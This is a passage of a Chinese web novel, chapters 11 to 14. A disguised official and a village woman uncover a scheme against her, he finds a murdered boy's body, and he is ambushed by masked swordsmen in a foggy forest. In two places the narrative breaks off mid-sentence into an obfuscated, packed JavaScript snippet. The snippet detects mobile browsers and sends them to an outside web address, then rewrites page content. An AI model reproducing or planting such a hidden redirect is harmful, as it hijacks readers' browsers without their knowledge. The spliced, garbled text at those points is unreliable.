关阇彦继续说着,简直就像是洞悉了她的心一样:“这次的歹人和之前的都不一样。你写信维生,薄利多销了,抢了原先做这门营生的人的生意。尤其是得罪了住在镇上集市的老书生,他派人要来绑你。” “那个人我查出来就是昨日寻来你家的王叔,王叔有点功夫底子,就被老书生用妻子病重需钱一事利用了。” “他毕竟也是村中之人,不敢明目张胆地抢人,然后设计让他的小儿子在孩子堆里散布你的谣言,故意让你妹妹巧儿听见,再引巧儿去村边破败之庙。” “王叔知道你会去寻妹妹,也明白这地方看似不好找但只要多花时辰就能寻着,那时定已到伸手不见五指之夜。他守株待兔等你去,再把你绑走。” “王叔?!” 魏郁春僵在原地,仿佛就算一阵风吹过来,她也能做到让发丝纹丝不动。 原来人不可貌相。即便是有苦衷,她也难以将黑衣人的作为和平时看起来憨厚无害的普通茶农联系在一起。 她又警觉到一件事,脱口问道:“既然王叔早就守在那里了,我竟然毫无察觉……你是怎么发现的?” 关阇彦抱住胸口,桎梏于一段寄人篱下日子后的傲慢重出江湖,他扬着眉头,下巴高扬,一身粗布衣裳也能被他穿出放荡不羁的高贵之姿。奇怪的是,他这副模样不但不让人觉得厌恶,还只让他人觉得他生来就该是如此傲视苍穹。心中明了他身份大致模样的魏郁春见怪不怪,但还是看破不说破,随他而去。 她静静听着他有些“臭屁”的言论:“你当我是你么?那般雕虫小技我根本不会放在眼里,黑衣人一行动我就对他下了手。我凑合着拔了身边的草头,他过来的时候我就往他身上刺,把他吓跑了。” 其实魏郁春在他这些话里察觉出来的“臭屁”味儿,比起他当时真正的表现来说,根本不值一提。 关阇彦把雨夜与黑衣人的斗智斗勇说得轻描淡写了很多,他是乐意多多展现自己的能耐的,但毕竟经历过这次太过严峻的生死之难后,他多留了太多心眼。现在让别人对自己的身份产生怀疑,对自己大为不利,对其他无辜的人也大为不负责任。 所以他不愿意暴露袖中草箭发挥作用时的功力。 他此时完全没有料到自己一直小心隐藏的东西,早已被魏郁春戳破了保护罩。 他的秘密会不会暴露,根本不是取决于他有多么小心翼翼,反而取决于魏郁春到底愿不愿意更进一步了解他罢了。 魏郁春显然没有这种打算,她十分乐意地陪关阇彦演戏,更乐意拆他的台:“哦,是吗?这么厉害……厉害到还能把自己的手弄成这副模样?” 她抬起一只手掌,故意在关阇彦面前晃来晃去,挑衅之意昭然若揭。 在夜色朦胧下,她微微笑眯着的眼睛,似蓄满了天上星星才有的光彩,没有很亮,却神秘而深不可测。 关阇彦冷笑,对她的挑衅视若无睹。可一转眼,就发现窗边没有了她的身影。 11. 风动心动(2) 关阇彦瞧不见人,刚要挂出口的话立马咽回肚子,他心间空落落,狐疑似地去扒拉窗口,脑袋在周边探了一圈还是没有看到魏郁春——她动作很快,眨眼睛就不知道下床去了哪个房间。 不过他还是细闻出了一些窸窸窣窣的脚步声,她像极了半夜偷家的老鼠,不知道在暗处摸着什么。 不一会儿,关阇彦就在门边看到了魏郁春走过来的身影,她手上拿着一卷在微薄月光下泛动灰色光泽的纱布,和一些提前制备好了的药膏。 “你今日出门早,没来得及找我换药,弄得我也差点忘了。你手好得很快,我给你换了更好的方子,最快的话,明日应能摘了纱布。” 她将纱布摊开,熟练地将其绕在男人的手掌间,微微发烫溃烂的肉敷上了冰凉的药草。 奇妙的触觉碰撞让男人闷哼一声,并觉得嗅在鼻子里的气味更浓了许多,其中不只是苦涩的药草味,还有女子身上清晨凝露般清甜的香气。 他懵懵然地看着她细致入微的动作,气焰灭下太多却还不忘补上一句不甘屈服的话:“那王叔脑子不大行,他没认出我用余毒草留在他身上的伤口,以为有毒,借着你开小学堂的风头来探我底细,结果弄巧成拙,被我发现了身份。所以,你可别小看了我的伤口,我就是靠着这个才抓住真凶的。” “行。” 魏郁春淡淡应他。 晚间微风卷动浮草,偷跑出去撒欢儿的田间草鸡怕是毛被吹了个乱,慌乱地叫了好一阵的“咯咯哒哒”。 除此之外,一高一矮两个杵在檐下的身影久久无声,慢慢的这种无声,也演化出了一种有杀人般威力的尴尬的沉默。 魏郁春本就话少,没觉得什么,所以这些感觉皆归关阇彦所有。 他性子傲慢,常常因为家中势力以及常年累功在身的恃才傲物,而不屑于多跟旁人有交涉,也是话少的体现。但落魄山间的日子里,他什么都没有了,连存在感和被尊重的资格都被剥夺得一分不剩,此时他话少的原因早就和先前背道而驰了。 现在因为魏郁春及其冯家受了自己一些顺手而为的恩惠,他得到了重视和尊重,他不知道怎么回事就逮着机会,拼命发泄被压抑的说话欲,活似摇着尾巴拼命展现存在感的哈巴狗! 他脑补得厉害,甚至开始觉得自己简直是个受虐狂,之前别人偏不让他干什么,现在有了机会竟是上赶着干,脾性大变也不在话下了! 他不甘心,然后嘴里神不知鬼不觉地又开始话痨,在他看来,自己不过是好心提醒魏郁春:“选在这会儿来找你,除了是料到你没睡,也是不想被你家里其他人听到。尤其你那么嘴唠子妹妹,她知道了,全家乃至全村都知道了。小孩子不懂事就不明白其中的意义,这种话题发展下来容易影响你清誉。” “我明白。”她依旧那副淡然之样。 关阇彦微微下睨了眼,对上的是魏郁春纹丝不动的平静眸光。 他心中:就这反应? 他还是不甘心:“你都不问问我今天去了哪里?” 魏郁春将他刚被包扎好的手放下,她将东西也收拾好,想要回房,她顺口应他:“猜到了,你去收拾王叔了?” 关阇眼不依不挠地跟上她的步伐,即便压低声线,也难以藏匿话音里微微上扬的骄傲之气:“小看我了。我去了趟集市,直接找要害你的老书生问了个明白,叫他在集市上把过去做的荒唐事说了一遍,让百姓认清他的面目,他日后言行举止皆不缺人盯着,再无可能回来报复你我。” “啊……难怪你到傍晚才回家。” “正常来说,你不该感动到涕泗横流?至少也该说些恭维感谢的话吧?” 魏郁春低着头,她是在憋笑,但不肯被关阇彦看到,她不知为何在这人面前,自己就变得反骨天成起来。他偏要什么期待什么,她就偏要拖着不给他。 换做其他人,她早就如他所愿把感恩戴德之话说了个遍地开花吧。 她语气压着逗弄的笑意,让人听不出端倪:“你这算是在邀功吗?” 简直是一击要害。 关阇彦被这么一提醒,也才发现自己这弱智斗气的行为,他装作被自己口水呛到的模样,连忙止口于此,想着岔开话题:“咳咳咳,那你也犯不着如此冷酷。” 魏郁春终于肯抬头,将她那张挂着笑意的脸完完整整地展露在他眼前,低声道:“我没有冷酷。我还以为你这种性子的人,什么东西都爱憋在心里无所表示。” 关阇彦愣住,他紧张地紧巴了背后几寸皮肤,他不知道魏郁春是在内涵他不愿暴露身份的事情,还是说她已经发现了什么端倪。 他其实打心底认可了后者的不可能性,奈何紧迫感还是照例笼罩了他。 他忽说道:“对了,你今天怎么会给我留饭?” “我以为你会觉得我已经离开了。” “这不还是回来了吗?” “嗯……”关阇彦踌躇几分语气,后道,“其实我想说的是,如果还有下次,便不必为我留了。” “我晚上特地来寻你说这些,其实思虑了许久,你一个女子家的遇上这些事情容易害怕是不错,但我马上就要离开了,让你心底有个堤防总是不错。老书生这种想用学识垄财的人还有不少,这次杀鸡儆猴,算起了点警醒的作用。但行事太过张扬,后也必会再招来祸端,有一次就有第二次,你这小学堂日后若不景气就关了吧。” 魏郁春脸色僵住,她嘴角不动,嗓子嗡嗡地哼出了个“嗯”字。 毕竟好不容易实现的念想突然被人泼了冷水,换做谁都不可能高兴吧。 关阇彦又突然强调了要走的事情,离别二字伤人。 如此就是伤上加上了。 魏郁春还是勉强挤了句诚恳话:“这段时间的事情谢谢你了,你有任何需要尽管提,我会倾尽全力报答你。” 然后她就往后退了好几步。 又开始划分界限了。 从客观上来说,这魏郁春方方面面都是不肯示弱的。 关阇彦的兴趣再度因此被挑起,他展现出了对她极高的重视度,赶忙笑侃:“听说我要走,你就拼命和我划清界线了?” 魏郁春旋即皱眉,但细听也明白他的话不假。 “你放心,我自己还有婚约在身呢,也要避嫌。” 关阇彦抛下这句就转身跑了,衣裳被风卷得“刷刷”响,离开得真是决绝。他也是处处不肯认输的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447354|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 魏郁春在心里哼了一声:这厮突然扯什么婚约,以为是个女子就会对他有意思么? 她话意嫌恶,态度却和此沾不上半点关系。 翌日,魏郁春一大早就端着个小板凳坐在外面的院子里,提着毛笔奋笔疾书地记录下来在她这里登记过的村人、他们所给予的金额,以及村人孩子的姓名、年龄、性别等重要的个人信息,以便授学。 村人们家中各有家务,来的时间前后不一,魏郁春只能从早到晚都坐在院子里等待。 不管天气如何炎热,等到如何煎熬,她的脊背还是那般□□,活似个不知道累的木头人。叫关阇彦都看得叹为观止。 天色晚了后,来的村人也渐渐稀疏,直到最后魏郁春提前预留出来的薄子空白都被填满乃至超出几个时,她才敢松口气——这一天的忙活终于是要停了。 出乎魏郁春预料的是,前几日辛苦张罗的“小学堂”成效甚好,除了王叔在内的几个村人外,之前来冯家问询过相关事宜的村人基本上都到场了。 之后,冯家夫妇将晚饭做好,在院子里支了桌子和小板凳,叫着姐妹两人和关阇彦一起用饭。 魏郁春只是浅浅的咽下半碗粥就觉得舌下火燥,晚上天气微凉,她居然觉得燥热。 喝了半碗粥的功夫就够她疲乏了,回屋后把剩下的肚子留给爹娘帮忙熬给她的药汤。 冯家夫妇其实也没想到,自家大姑娘多少天前惹的风寒居然还没被驱散干净,时隔许久,药汤一熬,才发现屋子里存着的草药已经寥寥无几,是至多再撑两天的量,这些都是魏郁春之前帮他们采药时顺便带回家备用的。 如今他们二人腿脚不便,大丫头染病未愈,小丫头年纪小体力不够上山,苦不堪言之下,夫妇只好叫来了关阇彦,想叫他明日下午帮忙上山采药——毕竟早晨山里晨雾多,并不方便。 这事情刚好在魏郁春和巧儿不在的时候交代出去的,因为冯家夫妇晓得大丫头性子倔强不肯服输,事事又喜欢亲力亲为,不肯麻烦别人。 若是没有关阇彦,这魏郁春是真的能一得空就不顾身体重新上山采药,弄不好又是要出意外。 有了目睹先后一大一小两个姑娘接连出事经历的冯家夫妇,哪里舍得让魏郁春再去涉险? 关阇彦当然没有拒绝,他正愁还没找到离开古溪村的轻松门路,三日之期逼得他面子丢不下,日子也得掐着时辰过,把这个当作延长离开时间的借口也不错。 于是,饭后洗漱完毕,冯家前前后后熄了灯。 第二天魏郁春按照计划的那样,试图给孩童们授学,忙得完全顾不上其他人。也不知道关阇彦在午后顶着竹帽上后山的事。 他有过一些上山的经验,加之小心翼翼的动作,他已经具备了在陡坡扎稳步伐的能力。 他时不时就从背篓里掏出几根不同的药草,一边低头跋涉,一边将其与目光所及之处的草丛比对。 两个时辰耗下去,他已经徒步走了大半山途,要采的草药零零散散的,十有八九都凑到了,他打算折返的时候,天色暗了许多,所处的半山腰的茶山雾气已经慢慢从山顶散回来。 趁着最后几刻视觉还算明晰的时候…… 12. 山逢诡事 关阇彦瞥见一个人的影子靠躺在远处树根上,但因为有雾气的阻挡,他只能略微看到影子的皮毛。 正因如此,浓浓一片神秘的色彩的才会如此轻松地爬上他的心间。 这个季节的时辰一旦到了傍晚,天色就会变得飞快。此时,天光消逝,阴阳即刻轮转,阴邪之气有意爬上肩头,他打了个寒颤,直觉告诉他,眼前的人影不会是活物。 可眼前这条路他在上山的时候走过,当时他不曾记得路上看到过什么可疑的东西,不过两个多时辰过去,这里就会多出如此陌生的东西吗? 他不知道是不是山雾误导了认知,让他有此错觉。但如果真的有什么不干净的东西在那里的话,他有足够充沛的理由去怀疑,是不是有人故意设置了关卡早早在这里等他了——毕竟若想早点下山,这条路乃必经之路。 他觉得自己真不该疑神疑鬼成这样,于是一边叹气一边抬手撩拨了几下浮在眼前的雾气,朝原来的方向继续前进,顺便去确认一下可疑人影是否存在。 这次同魏郁春热病说胡话的那晚不同,并非自己吓着了自己。当他来到树根旁时,确确实实看到了一具少年孩童的尸体。 他心中波涛汹涌,亦不知其中是否有鬼怪之处,他从竹篓里掏出一把用来割草的镰刀,别在背后,警惕地一步一步靠近尸体。 尸身衣物单薄而破漏,露出衣外的皮肤青紫浮肿,若不是关阇彦记忆力极好,又与这个孩子有过一面之缘,换做旁人根本都识不清他到底是谁——这个孩子的面容已经腐烂肿大到很难被辨认。 这具尸体没有其他古怪之处,他观望他处,耳动不息,却听不到任何诡异的动静。关阇彦呼吸一沉,别在身后的刀具亦被松劲的手臂带动放下。 这周边没有可疑的动静,这意味着并没有人跟踪他。 他来山的时候,虽专心于寻草一事,但也没有完全怠慢对周遭事物的警觉之心,那时,他也没有发现引人怀疑的动静。 难道这具尸体真的只是原本就待在这里的么?不是凶手的有意安排么…… 不管怎么样,他现在亟需解决的事情不是去揣测这具尸体出现的方式,而是去探索这个孩子死亡的死因。 巧儿失踪的那晚,他和魏郁春去村郊土地庙寻人时,这个孩子就是那群和巧儿打架的野孩群里的其中一个。 他仔细观察了这孩子面目上浮现的尸斑,这种腐化程度是非短时间内就可速成的,而距离他上一次见到这孩子还没过多久啊。 也就是说,以腐烂的程度去判断此子死亡时间的话……这孩子理应在关阇彦在土地庙看到他前就死了。 这怎么可能呢? 他亲眼见过这孩子殴打旁人时活蹦乱跳的样子,总不能说那时候这孩子就成了一具等待腐烂的尸体吧?! 关阇彦疑窦丛生,一时却又没办法抓出作祟的疑点,只好提着手指,去拨这孩子身上凌乱的衣物,看看有没有其他值得在意的线索。 功夫不负有心人。他在孩子被衣襟包裹的脖子间发现了一只很明显的勒伤,伤口同样呈现青紫色,但比周身的色泽更加沉郁,这是淤血堆积之相。勒痕的深浅可以反应凶手下手的力度,由此发现凶手的确在这一块动了要命之心。 所以,这个孩子是被勒死的么? 他本打算将敞开的衣服包裹回去,却在移眼之间发现衣服内袋有几处明显突起的球状物。他怕这是有害的陷阱,用两根树枝做成的筷子状工具从口袋里夹起此物,发现这是几只沦为浆团的草纸,灰褐色的团纸提出来,还不断地掉着纸屑,从他指缝间流走。 这些被孩子揣在兜儿里的草纸泡过了水,也就是说这个孩子之前就应该是浑身湿透的状态,只是后来时光更迭,衣物、头发都可以干回原样。但纸却不同,尤其是草纸这种粗制滥造的品种……一旦被水泡烂,要么留下水纹褶皱,要么被打回原型,由纸浆重新融汇成新的状态。 这些草纸在未经大雨侵袭前,就应该被孩子胡乱捏成了一团,之后和了水才得以完美地粘合成浆团的状态。 关阇彦用手撕开纸团,发现内部紧凑的结构也已干透,固化得紧巴巴的。他想起来自从雨夜土地庙的事情之后,古溪村的地界就没有下过雨了,即便是晨间露水也不会有这样的威力。 他心里已隐隐有了答案。 为了进一步验证心中所想,他果断进一步拨开用来包裹孩子青紫色裸体的衣服。他在不久后就在孩子腰后发现了一个被隐藏在腐烂肉块中间的剑伤,切口果断,流出的血液亦被液体冲刷赶紧,伤口的边缘有着组织被泡烂的痕迹,这和尸体皮肉腐烂的痕迹很相似——若不是他提前在纸团中发现玄妙处,这只伤口,他很可能就忽视了。 他也会被凶手用勒伤伪装成的障眼法骗了过去,并错将其视为真正夺走孩子性命的致命伤。 如今种种迹象摆在眼前,无不表明,杀了孩子的凶手明显不想被人察觉尸体身上剑伤的存在,他故意在孩子死后做出一只勒痕混淆人的视听,那是不是就代表着凶手其实算到过有人会找到这具尸体并做出分析呢? 更可怖的是,凶手料到的那个人就是关阇彦,不是别人。 所以……关阇彦一开始的感觉可能没有出错,这个尸体极有可能是凶手故意放在这里等他来看的。 思绪变更,他将注意力重新集中回孩子身上。 他已经推断出了孩子死亡的时间和原因了—— 既然自从土地庙后,古溪村周遭就没有下过雨,而小男孩生命消逝时尸体所定格的时间段又明显和一场暴雨有关,那他很可能就死在那场雨夜了。 尸体腐化的程度极不符合常理,也是和季节温度有很大关系,天气本就湿热,泡过暴雨的尸体本身也提供了促进腐化的条件。这个孩子最迟的死亡时间也仅仅能推断到那场下暴雨的夜晚。 凶手又恰好利用这些条件隐瞒了剑伤的存在。 关阇彦识得这只剑伤——他还记得雨夜村郊,与他交手的黑衣人亦是提了把长剑,他有对兵器敏锐的察觉力,即便距离很远,视角朦胧,他也可以大致推测长剑刺入物体后该留下的刀口是如何的状态——这常常被他用作预判敌人动作的方法。 如果黑衣人那把长剑刺到了人身上,留下的刀口大致就该是这样利落。他盯着孩子尸体身上的刀口,暗暗揣摩。 关阇彦感到诡异,因为他早以为自己已经戳破了王叔变装成黑衣人的秘密,完全没料到之后还会碰到和王叔抑或是黑衣人有关的线索。 孩童死在雨夜里,杀死他的刀口,可能来自于和孩子同时间同地点存在过的黑衣人王叔。这一系列的线索拼凑成了这样一只逻辑完整的故事,极为通顺,也让关 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刚好,关阇彦在见过王叔后的第二天就去了集市抓老书生问罪,王叔难道就是趁那时躲过他的眼底,上了山? 若是如此,也证明了王叔分明有意躲他。结果尸体明目张胆地丢在山上等着被他发现?难道王叔真的就是蠢而已吗? 关阇彦狠狠抵住后槽牙,脑中纷乱,觉得此事颇为难搞。 他望了望天际,风卷残云,将所剩无几的夕阳也遮蔽了大半,天光骤暗,雾气也变得黑压压的,如同厚重的被子盖在整座茶山上。湿气堵鼻,亦让他不好受。 孩子的尸体已经被他探索得差不多了,他必须立马下山,否则浓雾扑袭,他会因为迷路而被困山中。 至于尸体,他也无暇去帮忙处理,毕竟夜晚染上了阴气,实为不详。 他叹了一口气,权当作默哀,然后背着竹篓飞速下山。 到了山脚,还能依稀瞥见山间一片薄薄的光似被一把无形的刀削成了屑子,略显仓促地洒在远郊草野。 他心中纠结,因为山上死尸之事离奇又蹊跷,若要捉拿更多线索,他必须得回一趟事发现场看看。但他又对王叔心有怀疑,很想回村找他问个说法。 奈何天色甚晚,到达村郊实在需要些脚程,现在出发,勉强还能追上白天的尾巴,趁着天亮发现线索的效率只会比夜晚高上数倍,如果速度够快,他也能尽快赶回来。晚上山路不好走,他也不想多遭罪。 但王叔那边的线索他又不肯松手,他心急如焚,却迫于独自一人实在是分身乏术,两件事情当前只可选择其中一件去完成。 他其实可以选择到明日再解决这些困扰,可直觉告诉他,如果错过今晚,便意味着会错过更多不可名状的离奇之物——不然,那具死尸的现身也不会这么赶巧。 他逼迫自己沉下心去,效果的确显著,他看到山脚前方一片将要混入山雾的袅袅炊烟,那是晚间村中人家安闲度日的象征。古溪村一切安好,王叔那边不可能有所动静,否则村里不可能是这番静然景象。 那他可以暂时放一放古溪村的事情,反正他解决完村郊一事后还是要回来的,到时候他也无需顾虑夜路难寻、山路陡峭了。 在自认为万无一失后,他连竹篓都忘了丢下,直接飞一般绕过山后,朝村郊土地庙的方向找过去。 13. 迷障雾林 村郊—— 此处别过群山,平坦的草野顺眼铺开,远边缀着一圈望不到边际的林子,一股逆风乍吹而来,掀动群草,扎在草堆里连墙都凑不齐半边的土地庙仿佛要崩塌。 虽已至暮色,到底还是白日,来看此地,景色居然与黑夜里的截然不同,不同到让关阇彦差点以为自己光顾的是另一个世界。 他迈着谨慎的步子,将眼前之景与过往回忆一点一点拼凑,直至重叠。 于是,他很快就将自己安置到了雨夜站过的位置,并用相同的视觉方向去查探远方,借助以前锁定黑衣人的方法,精确到了黑衣人避身的地点,以及他逃走的方向。 他拨开碍事的杂草,在葱葱原野踏出略有重叠的路径,发现了更超乎他预料的事物。 黑衣人所在地有一片诡异而突兀的“空白”区域,本该平铺的草地似乎被某种重物压垮很久,以至于到现在都抬不起头和身子,匍匐在地,化作一片深深凹陷进去的聚点,宛若空白。 关阇彦耷拉着的双臂动了动,他认出了这片空白的形状——成年男人的体型。 而且这个男人躺在这里的时间一定很久,只有重物长期性的压倒才足以让群草对折了腰杆,使得这片空地在抵抗过一夜的暴雨侵袭后,还能稳稳保持这个状态许久。 这只人形区域轮廓恒定不动,所以这个男人不仅要在这里躺很久,还要一直保持一个动作。关阇彦起初没有去猜想这个痕迹需要多久的压躺才能成形,因为他心底默认躺在这里的男人只会是黑衣人王叔。 当时处于这个位置的人只有黑衣人王叔。 不过,若是假设这里有别人呢? 如果还有其他人存在的话,他肯定顾不上关阇彦,而会先去解决了这个人。 如果这个其他人是黑衣人自己人的话……关阇彦在当时也应该全部察觉出来,况且,黑衣人王叔后期的表现,也完全不像是有帮凶的模样…… 关阇彦直立在人形区域旁,凝重地俯看着它,鼻尖呼吸微滞缓,好似故意压足了底气后,才选择弯下腰继续去深挖其中别样之处。 他抚开一片被压倒后显得更加浓密的绿草,在更深的地方发现一丛从深褐色的攀附绿草的植物,它状若密藤,却细如草根,不长绿叶,专门靠寄生其他的植物获取养分,看起来很像是菟丝子,却比菟丝子多很多锋利的尖刺,也比其粗一些、硬一些。八成是和余毒草一样,独生于南禺的特殊草种。 这些草本该无人问津,却在这时候发挥了极大的作用。 关阇彦为搜寻被草丛挡住的不可见线索时,故意把绿草全部掀了,躲在下面的尖刺草暴露出来。他在“纵观全局”的时候,找到一片被尖刺草钩住的布片。 布片细微,只有一个大拇指盖大。换做旁人,绝不可能这么快就从草丛里发现它。 关阇彦小心地将布片从尖刺上拔出来,结果差点被划开一个口子,可见这草有多么锋利。 这也就能解释为什么成年男人平躺在这片草地上时,也能被无故勾走一块衣服上的边角料了。 布片的材料粗糙,被勾出洞的地方已经散出了很多浮丝,这和在古溪村很常见的布衫材质一致。为验证猜想,他还特意将其与自己身上套的那件黑色布衣进行了对比,结果趋向和脑中想法一致。 布片的颜色是深灰色的,平民百姓多着此般色彩,他看来看去没办法靠它锁定到具体的人身上。但绝对肯确定的是,这个成年男人一定是一个村民,这个人形痕迹和黑衣人王叔居然没有半点关系——布片和黑衣人衣物的颜色乃至材质都完全不同。 对!还有材质不同……他还记得雨夜与黑衣人交手时,黑衣人腾然上越,暴雨刮下来,却仿佛刮不到他似的,直接穿透了他整个人,雨量不过是换了种方式凝聚,再原封不动地滴落下去。 如果黑衣人身上的衣物和布片一个材质,这些雨水必有大半会被布衣吸过去,使得衣物越来越重…… 种种迹象都在告诉关阇彦,这个黑衣人不会是村中平民百姓,亦不会是王叔。 可他又找不到其他理由去戳破王叔的谎言。 关阇彦站回身,挺拔的脊背被汗水洇湿,一片硕大的黑色大花在他的蝶骨处绽开。 他的眼神依旧不定地瞧着人形痕迹,目光所聚犹如一只钉子,狠狠压在上面。 他木然张嘴,吐道:“这片痕迹的主人是你吗,王叔?” “如果是你……你为什么要做黑衣人的帮凶?为什么要一而再再而三地欺骗别人?如果是你……你那日寻到我这里时,到底打的什么主意?” 他冷笑一声,又自言自语起来:“难不成,你当时试探我的目的……是帮你那黑衣人兄弟探一探余毒草的毒性么?” “毕竟,黑衣人并非本地之人,若他被余毒草刺伤又不知其为何物的话……倒是说得通,黑衣人或许只需要将伤口溃烂处的毒汁糊到你腿上和他受伤一致的地方,你就可以带着它来寻我。” “即便被我戳穿谎言,你选择临时扮作黑衣人,将黑衣人的嫌疑引到自己身上,使我以为事情结束,不再怀疑黑衣人么?” 若是如此,王叔和黑衣人身上,一个没有胎记,一个却有胎记的现象就有了解释。 当这条逻辑将要完成的时候,关阇彦很快就甩了把脑袋,及时止损地想道:“若王叔是本地人,他亦可通过伤口情况查探其是否为余毒草所伤,何须寻来我这里?若王叔当真是脑子不中用,而不是为了帮黑衣人,那他和黑衣人狼狈为奸的证据便会断开。” 关阇彦铁柱一般立在暮色泛滥的绿色深渊里,发红的双目仿佛也要凝练出最纯粹的红血。到头来仿佛还是一场空,他发现即便自己发现了线索,也不可能参透其中诡异的秘密。他觉得自己真像是被人抓来圈养进囚笼的蛐蛐儿,被耍的团团转,长多少只眼都望不到长天外的罪魁祸首。 他居然迷茫了。 索性他在村郊耽误的时间不长,那些带着不同逻辑的思绪看似繁杂,穿过脑海时对他来说也不过是一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447356|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情。 他将竹篓重新背好,将要离开,他放弃了飘渺虚幻的猜忌,虽不知王叔与黑衣人到底有无瓜葛,但毋庸置疑的是他一定说了慌。 他冲动下来,恨不得当场把王叔倒吊起来,勒索其将真相全部吐下来。这本不是他的作风,奈何走投无路,他被逼得气急败坏。 关阇彦背过身去走了一段路后,忽闻背后那一圈缀在草野边的林子里惊鸟成群飞起,他无意间撇过去一眼,谁知一道身影从他视野里的犄角旮旯窜出来,可疑十分。 他眉心一跳,不好的预感如同沸腾的滚水在他心间作祟。 那道身影一袭黑衣,行动速度极快,形同鬼魅,模样和雨夜黑衣人区别不大。 难道是真正的黑衣人?! 关阇彦还保留着王叔和黑衣人并非一人的猜想,心中警觉,二话不说就追了上去,瞬间就把回村找王叔的念头搁置在了脑后。 靠近那片长在天际的林子后,他才发现这里是多么地繁茂无比。长在这片森林里的杂草甚至也需夹缝而生。 黑蒙蒙的影子继续形同鬼魅般绕着树桩飞走,杂草被他飞跃时挂起的大风挤地步入岌岌可危的境地。 关阇彦双耳微动,旋即鹰眼就锁定了远处林间可疑的身影,他已被谜团绕地昏了头,根本不去思考此时这个身影突兀的出现是否有诈。 面对深林浓雾,他亦是不畏,只管莽进去。 丛林深处,湿气愈发蓬勃。方才看似低矮的林木不知何时就装不下人眼了,树冠高耸有入云之态,遮蔽日光,把一团团晨间没散掉的雾气全部围困在一起。 云迷雾锁间,关阇彦几乎看不到三寸之外的事物,更不提黑鸦般轻松窜林的诡异人影了。他不得不放慢步伐,动耳寻找方向,可他听到的脚步声变得越来越杂乱,人影擦过树木的婆娑声亦是如此。 他这才清醒回来——他中计了。 一开始他在村郊看到的人影就是故意引诱他来这片茂林的,等他没入这个完全陌生的地方时,浓雾笼罩,他根本没有机会逃出去了,那些埋伏在里面的敌人们就都蓄势待发了起来。 这到底是怎么回事? 原来黑衣人根本就不止一个……雨夜里的那只黑衣人不过是这个组织里负责执行任务的其中一个!这帮家伙藏得这般严实,想杀他也定是处心积虑已久了! 看来冯家后山的死尸果然是被故意丢在他回程路上的,这些黑衣人还故意保留了死尸身上的特征,就是为了让他去发现村郊暴雨夜与之的关联。 他们甚至还恰好了时间点,让他在快要落日的时候入林,使林中浓雾迷障他的双目,再通通显露真身,准备围剿他。 看来雨夜那只黑衣人吃了他的亏之后,一直不敢轻举妄动的目的在这里呢,打着以多敌一的主意,真是好不道德! 关阇彦狠狠啐了一口,也是怪自己鼠目寸光,一直将眼界局限在黑衣人和王叔两者之上,完全没去怀疑后山尸体与村郊之间还有这层突兀又巧合的联系。 14. 偷天换日 无问关阇彦如何恼羞成怒,事情都没有回旋的余地,他不得不放下背篓,眼睛逡巡四方确保无人袭击时,连忙从中掏出身上唯一一件利器——割草镰刀。他冷冷笑着,从没觉得一把镰刀也有让他如此青睐的一日。他这个安南都督做的怕是要惹天下人笑话。 镰刀便镰刀,由他的一身本事驱使,就不信不能叫这群该死的害豸通通死绝了!天命要他堕入绝路,无处逢生,他就偏给自己创出一分余地去闯。他若是今晚不能杀灭恶人夺得真相,他这个都督才真是做得可耻! 他的底气沉了很多,目光冷冽如刃,在急速弥漫的浓雾中飞走,如虎似狼,一会儿下来,逼人的气质便逆风翻盘,越发衬得藏于林中之人卑鄙龌龊。 他还保持着按兵不动的状态,微微曲住的双腿扎稳下盘,握住镰刀的手青筋爆起,嘴角的冷笑不屈而傲纵。 黑衣人们的动作变得明显了起来,他们貌似散开了队形,在关阇彦看不到的地方围成一只巨大的圈。“嗖嗖嗖”的风大刺刺地刮着,但比起之前已有了明显的变质。这些风声变得更加凌厉,好似一圈人手里齐齐提了把锋利的大刀,飞走时刀刃卷着风声,所以当这圈人围着关阇彦飞速环绕时,就会与周遭空气摩擦而留下痕迹,煞气不言而喻。 黑衣人们“哗啦啦”地跑着。其中有玄妙之处,关阇彦靠着他们奔走的节律大致推算出了人数。 至少十人。 面对周遭越来越巨大的刀风声,关阇彦大声笑蔑:“哼,尔等龌龊鼠辈,还在装模作样什么?!都给我滚出来!” 声音旷远,又惊动无数林鸟,它们犹如万箭齐发般冲向天际,围在关阇彦看不到的头顶呕哑嘲哳,嘶哑的长鸣,连同出手了飞剑的神秘黑衣人们,一起冲向他。 这些鸦鸣扰耳,雾气中又很难具体判断黑衣人们的刀锋所向,关阇彦干脆半捂住耳朵,斜眸而望,暂且避开几只飞剑后,又瞥见两个黑衣蒙面的家伙凑近。 他们一言不发地朝关阇彦踢过来,两只刚放出去又落空的长剑弯弯绕绕回他们的手里,他们抓着剑柄,连同着踢腿一起朝他冲过去。 关阇彦闷哼一声当作发力,怒张双臂,向后抵拉,以身体作弓拉出力量,使得他腾空跃起时足以借用双腿蹬住身后有一人怀抱粗的树干。 他避开了蒙面黑衣人们直击要害的攻击,他抓紧镰刀,一遛弯儿地朝眼前两只手臂割过去,两个黑衣人见状微慌,要躲却晚了一步,他们提住剑的手臂被剜了两块肉,手臂瞬间脱力,两只锋利无比的剑砰然落地。 关阇彦双眸一亮,旋即抛开破镰刀,一个滑身过去,就稳稳从乱叶铺就的地面上拎走一对长剑。他本就以练剑为本,任何兵器都没有一柄剑好使,所以他才要攻击那两个黑衣人的手臂。 